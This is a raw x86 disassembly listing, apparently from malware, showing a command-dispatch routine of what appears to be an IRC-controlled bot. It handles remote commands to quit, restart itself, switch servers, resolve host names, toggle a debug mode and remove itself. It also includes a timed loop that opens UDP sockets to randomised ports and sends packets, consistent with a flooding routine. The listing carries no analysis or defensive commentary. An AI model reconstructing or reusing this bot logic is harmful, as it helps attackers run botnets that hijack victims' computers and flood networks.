		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------

loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41F018
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EBFC
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DB88
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------

loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DF00

loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41EE18
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE18
		push	offset dword_41DB88
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA79:				; CODE XREF: sub_40A9CF+1039j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BADB
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA9C
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BA9C:				; CODE XREF: sub_40A9CF+10C6j
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BAB3
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63F0],	eax
		jmp	short loc_40BABD
; ---------------------------------------------------------------------------

loc_40BAB3:				; CODE XREF: sub_40A9CF+10D4j
		mov	[ebp+var_63F0],	offset byte_41DF00

loc_40BABD:				; CODE XREF: sub_40A9CF+10E2j
		push	[ebp+var_63F0]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AD0
		call	sub_40D6CB
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BADB:				; CODE XREF: sub_40A9CF+10BDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB15
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BAFE
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BAFE:				; CODE XREF: sub_40A9CF+1128j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419AB0
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB15:				; CODE XREF: sub_40A9CF+111Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BB6C
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BB38
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB38:				; CODE XREF: sub_40A9CF+1162j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_5A70],	eax
		cmp	[ebp+var_5A70],	927C0h
		jle	short loc_40BB5B
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB5B:				; CODE XREF: sub_40A9CF+1185j
		push	[ebp+var_5A70]
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB6C:				; CODE XREF: sub_40A9CF+1159j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A9C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBB0
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BB93
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BB98

loc_40BB93:				; CODE XREF: sub_40A9CF+11B9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BB98:				; CODE XREF: sub_40A9CF+11C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D4AB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBB0:				; CODE XREF: sub_40A9CF+11B0j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BBF4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40BBD7
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40BBDC

loc_40BBD7:				; CODE XREF: sub_40A9CF+11FDj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBDC:				; CODE XREF: sub_40A9CF+1206j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D420
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BBF4:				; CODE XREF: sub_40A9CF+11F4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BC28
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC17
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC17:				; CODE XREF: sub_40A9CF+1241j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC28:				; CODE XREF: sub_40A9CF+1238j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCB2
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BC84
		cmp	dword_41DF08, 0
		jz	short loc_40BC5B
		mov	[ebp+var_63F4],	offset aOn ; "on"
		jmp	short loc_40BC65
; ---------------------------------------------------------------------------

loc_40BC5B:				; CODE XREF: sub_40A9CF+127Ej
		mov	[ebp+var_63F4],	offset aOff ; "off"

loc_40BC65:				; CODE XREF: sub_40A9CF+128Aj
		push	[ebp+var_63F4]
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BC84:				; CODE XREF: sub_40A9CF+1275j
		push	offset aOn	; "on"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40BCA6
		mov	dword_41DF08, 1
		jmp	short loc_40BCAD
; ---------------------------------------------------------------------------

loc_40BCA6:				; CODE XREF: sub_40A9CF+12C9j
		and	dword_41DF08, 0

loc_40BCAD:				; CODE XREF: sub_40A9CF+12D5j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCB2:				; CODE XREF: sub_40A9CF+126Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BCD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415DFD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCD9:				; CODE XREF: sub_40A9CF+12F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A44
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD13
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BCFC
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BCFC:				; CODE XREF: sub_40A9CF+1326j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_419A3C
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BD13:				; CODE XREF: sub_40A9CF+131Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A24
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BD52
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BD62

loc_40BD52:				; CODE XREF: sub_40A9CF+1357j
					; sub_40A9CF+136Cj
		push	offset aQuitExitting ; "QUIT :exitting"
		call	sub_40D6CB
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BD62:				; CODE XREF: sub_40A9CF+1381j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A10
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BDC9
		push	104h
		lea	eax, [ebp+var_5B74]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_5B74]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		cmp	eax, 20h
		ja	short loc_40BDB6
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BDB6:				; CODE XREF: sub_40A9CF+13E0j
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_40D6CB
		pop	ecx
		push	0
		call	dword_41705C	; ExitProcess

loc_40BDC9:				; CODE XREF: sub_40A9CF+13A6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419A04
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE19
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BDEC
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BDEC:				; CODE XREF: sub_40A9CF+1416j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset dword_4199D4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE19:				; CODE XREF: sub_40A9CF+140Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE38
		call	sub_407148
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE38:				; CODE XREF: sub_40A9CF+145Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199BC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BE62
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199B0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BE7B

loc_40BE62:				; CODE XREF: sub_40A9CF+147Cj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_401D6E
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BE7B:				; CODE XREF: sub_40A9CF+1491j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4199A8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEA9
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40CEB0
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BEA9:				; CODE XREF: sub_40A9CF+14BFj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41999C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40BED3
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41998C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BEFD

loc_40BED3:				; CODE XREF: sub_40A9CF+14EDj
		push	offset aQuitChangingSe ; "QUIT :changing server"
		call	sub_40D6CB
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D366
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40BEFD:				; CODE XREF: sub_40A9CF+1502j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_41996C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C0D9
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BF29
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF00

loc_40BF29:				; CODE XREF: sub_40A9CF+154Ej
		lea	eax, [ebp+var_5B78]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C0BA
		mov	eax, [ebp+var_5B78]
		mov	[ebp+var_5B7C],	eax

loc_40BF54:				; CODE XREF: sub_40A9CF+16D8j
		cmp	[ebp+var_5B7C],	0
		jz	loc_40C0AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+18h]
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	loc_40C098
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40BFEA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40BFBA
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63F8],	eax
		jmp	short loc_40BFC4
; ---------------------------------------------------------------------------

loc_40BFBA:				; CODE XREF: sub_40A9CF+15DBj
		mov	[ebp+var_63F8],	offset dword_419968

loc_40BFC4:				; CODE XREF: sub_40A9CF+15E9j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63F8]
		push	offset dword_419944
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C08D
; ---------------------------------------------------------------------------

loc_40BFEA:				; CODE XREF: sub_40A9CF+15CEj
		mov	eax, [ebp+var_5B7C]
		cmp	dword ptr [eax+4], 17h
		jnz	short loc_40C03E
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C011
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_63FC],	eax
		jmp	short loc_40C01B
; ---------------------------------------------------------------------------

loc_40C011:				; CODE XREF: sub_40A9CF+1632j
		mov	[ebp+var_63FC],	offset dword_419968

loc_40C01B:				; CODE XREF: sub_40A9CF+1640j
		lea	eax, [ebp+var_5F80]
		push	eax
		push	[ebp+var_63FC]
		push	offset dword_419920
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	short loc_40C08D
; ---------------------------------------------------------------------------

loc_40C03E:				; CODE XREF: sub_40A9CF+1625j
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C059
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6400],	eax
		jmp	short loc_40C063
; ---------------------------------------------------------------------------

loc_40C059:				; CODE XREF: sub_40A9CF+167Aj
		mov	[ebp+var_6400],	offset dword_419968

loc_40C063:				; CODE XREF: sub_40A9CF+1688j
		lea	eax, [ebp+var_5F80]
		push	eax
		mov	eax, [ebp+var_5B7C]
		push	dword ptr [eax+4]
		push	[ebp+var_6400]
		push	offset dword_4198EC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_40C08D:				; CODE XREF: sub_40A9CF+1616j
					; sub_40A9CF+166Dj
		push	3E8h
		call	dword_41709C	; Sleep

loc_40C098:				; CODE XREF: sub_40A9CF+15BEj
		mov	eax, [ebp+var_5B7C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_5B7C],	eax
		jmp	loc_40BF54
; ---------------------------------------------------------------------------

loc_40C0AC:				; CODE XREF: sub_40A9CF+158Cj
		push	[ebp+var_5B78]
		call	dword_41DF5C	; freeaddrinfo
		jmp	short loc_40C0D4
; ---------------------------------------------------------------------------

loc_40C0BA:				; CODE XREF: sub_40A9CF+1573j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40C0D4:				; CODE XREF: sub_40A9CF+16E9j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C0D9:				; CODE XREF: sub_40A9CF+1541j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_4198C4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C1D4
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40C105
		mov	eax, [ebp+arg_14]
		mov	dword ptr [eax+4], offset byte_41DF00

loc_40C105:				; CODE XREF: sub_40A9CF+172Aj
		lea	eax, [ebp+var_5F84]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jnz	loc_40C1B5
		push	4
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_6388]
		push	eax
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_5F84]
		push	dword ptr [eax+18h]
		call	dword_41DF58	; getnameinfo
		test	eax, eax
		jnz	short loc_40C1A9
		push	[ebp+var_5F84]
		call	dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_40C179
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	[ebp+var_6404],	eax
		jmp	short loc_40C183
; ---------------------------------------------------------------------------

loc_40C179:				; CODE XREF: sub_40A9CF+179Aj
		mov	[ebp+var_6404],	offset dword_419968

loc_40C183:				; CODE XREF: sub_40A9CF+17A8j
		lea	eax, [ebp+var_6388]
		push	eax
		push	[ebp+var_6404]
		push	offset dword_4198A8
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C1A9:				; CODE XREF: sub_40A9CF+1781j
		push	[ebp+var_5F84]
		call	dword_41DF5C	; freeaddrinfo

loc_40C1B5:				; CODE XREF: sub_40A9CF+174Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_4198D0
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C1D4:				; CODE XREF: sub_40A9CF+171Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419898
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C37A
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40C207
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 0Ah
		ja	short loc_40C20C

loc_40C207:				; CODE XREF: sub_40A9CF+1825j
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C20C:				; CODE XREF: sub_40A9CF+1836j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_638C],	eax
		push	4
		push	offset a2002	; "2002"
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_416DEA	; memcmp
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40C35B
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-9]
		mov	[ebp+var_6398],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-8]
		mov	[ebp+var_6397],	al
		and	[ebp+var_6396],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-7]
		mov	[ebp+var_6395],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-6]
		mov	[ebp+var_6394],	al
		and	[ebp+var_6393],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-4]
		mov	[ebp+var_6392],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-3]
		mov	[ebp+var_6391],	al
		and	[ebp+var_6390],	0
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-2]
		mov	[ebp+var_638F],	al
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_638C]
		mov	al, [eax+ecx-1]
		mov	[ebp+var_638E],	al
		and	[ebp+var_638D],	0
		lea	eax, [ebp+var_638F]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6392]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6395]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_6398]
		push	eax
		call	sub_40A8AD
		pop	ecx
		push	eax
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419860
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 1Ch
		jmp	short loc_40C375
; ---------------------------------------------------------------------------

loc_40C35B:				; CODE XREF: sub_40A9CF+1866j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_419844
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch

loc_40C375:				; CODE XREF: sub_40A9CF+198Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------

loc_40C37A:				; CODE XREF: sub_40A9CF+1818j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419838
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40C4B0
		call	sub_416B64	; clock
		mov	[ebp+var_639C],	eax
		and	[ebp+var_63A4],	0
		and	[ebp+var_63A0],	0
		push	10h
		push	0
		lea	eax, [ebp+var_63B4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_63B4],	2

loc_40C3C8:				; CODE XREF: sub_40A9CF+1A95j
		call	sub_416B64	; clock
		sub	eax, [ebp+var_639C]
		cmp	eax, 3E8h
		jnb	loc_40C469
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_63B2],	ax
		push	4
		push	0
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	[ebp+var_63B0],	eax
		push	0
		push	2
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_63B8],	eax
		push	10h
		lea	eax, [ebp+var_63B4]
		push	eax
		push	[ebp+var_63B8]
		call	dword_4171F4	; connect
		push	0
		push	1
		lea	eax, [ebp+var_63A0]
		push	eax
		push	[ebp+var_63B8]
		call	dword_41720C	; send
		push	[ebp+var_63B8]
		call	dword_417230	; closesocket
		mov	eax, [ebp+var_63A4]
		add	eax, 2Bh
		mov	[ebp+var_63A4],	eax
		jmp	loc_40C3C8
; ---------------------------------------------------------------------------

loc_40C469:				; CODE XREF: sub_40A9CF+1A09j
		cmp	[ebp+var_63A4],	400h
		jbe	short loc_40C483
		mov	eax, [ebp+var_63A4]
